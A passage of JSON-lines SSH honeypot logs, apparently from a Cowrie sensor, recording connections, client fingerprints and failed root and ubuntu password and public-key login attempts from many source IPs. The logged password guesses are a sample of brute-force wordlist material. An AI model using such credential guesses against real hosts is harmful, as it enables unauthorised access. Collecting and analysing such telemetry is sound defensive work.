"aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:14:44.756151Z","src_ip":"2.57.122.238","session":"a72f5a2da80f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:14:45.076204Z","src_ip":"2.57.122.238","session":"a72f5a2da80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:14:46.184365Z","src_ip":"2.57.122.238","session":"a72f5a2da80f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":35572,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd8b0f7f86f7","protocol":"ssh","message":"New connection: 181.188.176.245:35572 (10.17.0.5:22) [session: cd8b0f7f86f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:14:52.671082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:14:52.675847Z","src_ip":"181.188.176.245","session":"cd8b0f7f86f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:14:52.854776Z","src_ip":"181.188.176.245","session":"cd8b0f7f86f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa12345","message":"login attempt [root/aa12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:14:53.600864Z","src_ip":"181.188.176.245","session":"cd8b0f7f86f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:14:54.783364Z","src_ip":"181.188.176.245","session":"cd8b0f7f86f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":60412,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae8190654b0e","protocol":"ssh","message":"New connection: 77.94.47.83:60412 (159.203.135.109:22) [session: ae8190654b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:00.112100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:00.118993Z","src_ip":"77.94.47.83","session":"ae8190654b0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:00.248489Z","src_ip":"77.94.47.83","session":"ae8190654b0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123q123q","message":"login attempt [root/123q123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:00.642769Z","src_ip":"77.94.47.83","session":"ae8190654b0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:01.782384Z","src_ip":"77.94.47.83","session":"ae8190654b0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":41192,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb3ffc87c92b","protocol":"ssh","message":"New connection: 62.133.63.178:41192 (10.17.0.5:22) [session: fb3ffc87c92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:06.959713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:06.964463Z","src_ip":"62.133.63.178","session":"fb3ffc87c92b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:07.092045Z","src_ip":"62.133.63.178","session":"fb3ffc87c92b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraft","message":"login attempt [root/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:07.475606Z","src_ip":"62.133.63.178","session":"fb3ffc87c92b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:08.606936Z","src_ip":"62.133.63.178","session":"fb3ffc87c92b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":45932,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f07cf544d06","protocol":"ssh","message":"New connection: 80.94.92.184:45932 (10.17.0.5:22) [session: 3f07cf544d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:08.758405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:08.940091Z","src_ip":"80.94.92.184","session":"3f07cf544d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:08.945513Z","src_ip":"80.94.92.184","session":"3f07cf544d06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solv","message":"login attempt [ubuntu/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:10.201580Z","src_ip":"80.94.92.184","session":"3f07cf544d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":49498,"dst_ip":"159.203.135.109","dst_port":22,"session":"c736bbc4424f","protocol":"ssh","message":"New connection: 147.45.199.80:49498 (159.203.135.109:22) [session: c736bbc4424f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:11.439145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:11.443887Z","src_ip":"147.45.199.80","session":"c736bbc4424f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:11.496267Z","src_ip":"80.94.92.184","session":"3f07cf544d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:11.544121Z","src_ip":"147.45.199.80","session":"c736bbc4424f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12340987","message":"login attempt [root/12340987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:11.846523Z","src_ip":"147.45.199.80","session":"c736bbc4424f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:15:12.949080Z","src_ip":"147.45.199.80","session":"c736bbc4424f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":51244,"dst_ip":"10.17.0.5","dst_port":22,"session":"7de172f977cf","protocol":"ssh","message":"New connection: 103.122.221.179:51244 (10.17.0.5:22) [session: 7de172f977cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:20.619182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:20.624229Z","src_ip":"103.122.221.179","session":"7de172f977cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:20.873833Z","src_ip":"103.122.221.179","session":"7de172f977cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0833748v","message":"login attempt [root/0833748v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:21.628595Z","src_ip":"103.122.221.179","session":"7de172f977cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:22.881321Z","src_ip":"103.122.221.179","session":"7de172f977cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.97.163","src_port":43002,"dst_ip":"10.17.0.5","dst_port":22,"session":"2687495c148a","protocol":"ssh","message":"New connection: 147.135.97.163:43002 (10.17.0.5:22) [session: 2687495c148a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.088687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.092924Z","src_ip":"147.135.97.163","session":"2687495c148a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.168750Z","src_ip":"147.135.97.163","session":"2687495c148a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:52:e7:8e:bc:9a:48:33:96:60:a9:28:fe:4b:da:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc5ZH5B6VGXWG0ADnytVnGUmv7WxdcD8PtWBpAjXWoBQTYHr7TruIg0RDozGN+eN0FgTrA/m4GpJbWPKNuvDV6tQ+MO/tS3siHVCJjF44am5yDOfHZnp5Ocwq12/YNbzVPq4az0CvzzyUXQxpjgNB7IbKGye2T0v1iPLgqH9nr13DjcZXlbE49F8+S9lq5MlCw7ne+ainJeDWEJAS0IAUo2eVr6dzYnmGdREBF2tUAAVYjIVJRxMcPcJSUp3YAUHJ1hWSL0k1UEAKVVwIJZx+/a8hjKTwUMt4wKCFQOXnj8Qf2fupnGnZXal+/bgYW7qCEvcPJKoQQRkp70Elnm3j1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:52:e7:8e:bc:9a:48:33:96:60:a9:28:fe:4b:da:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.521058Z","src_ip":"147.135.97.163","session":"2687495c148a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:52:e7:8e:bc:9a:48:33:96:60:a9:28:fe:4b:da:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDc5ZH5B6VGXWG0ADnytVnGUmv7WxdcD8PtWBpAjXWoBQTYHr7TruIg0RDozGN+eN0FgTrA/m4GpJbWPKNuvDV6tQ+MO/tS3siHVCJjF44am5yDOfHZnp5Ocwq12/YNbzVPq4az0CvzzyUXQxpjgNB7IbKGye2T0v1iPLgqH9nr13DjcZXlbE49F8+S9lq5MlCw7ne+ainJeDWEJAS0IAUo2eVr6dzYnmGdREBF2tUAAVYjIVJRxMcPcJSUp3YAUHJ1hWSL0k1UEAKVVwIJZx+/a8hjKTwUMt4wKCFQOXnj8Qf2fupnGnZXal+/bgYW7qCEvcPJKoQQRkp70Elnm3j1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.524756Z","src_ip":"147.135.97.163","session":"2687495c148a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:47:da:94:96:91:55:7a:ca:ed:46:e5:c4:a3:a5:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5sc6lx6jq/Ac54qwwbi5lFoPuwvyXX57gBPBlNl15/J/9I+z9cqRHHvUnngz2Qdb4ibMF8vaD8XGuql0MF+6ioWmtqv2VzAZFuqSBE42P9LeTKbotbkxVfnxsYgINho1uAyoXPJuvGdeNKan2nGbNZM1PabY088VRagM1rQ4PZhesI1j/cx5e+pU07a3fq1CnYPmk6OBuGZyToY1ku0nEnwArrvdgD4/1dEQeZM0eEk7q5sUNp9CQkK29s7Fh+HLlhEJZJcB6JH3jC1VUXeI9U4AxFFgoallH2nDMclD0OUrXQ0ZNvC8ijBXxRFtsgHskNiUb4rZmCHxKjO9YX2ig+9AOc1EX1Y/xadaSR3cKlauhD/+ze1hI972SrcHl07FsvU4H8AIgsqyFuU3RgcpHayWdRGDOQ4KMK7ZXHWEtIxRfx28Bk8WHr+NLERLCsyo/LR7Djj0rN/AvDFJ7e80xKYS2fFU1EmlV6OY3yf+/BxTvShg3A13zhoJNwtnAsOsXwvaX0yOoBuOIIpPW0yeOzdJX9m7KzwxBW9bGxosjL+jPm+KkDSM25Yrz1+OXAzn76qk0pnozB8IpyqGsJXc2kNYnGvr5NhiTtH/XjEZ2Foo8q3ZVQRcf7SUAX9cKLpHX/ocHkN/dvLwJ+ucIjziQvzHrWPGZwJrZPSKGTwXisQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 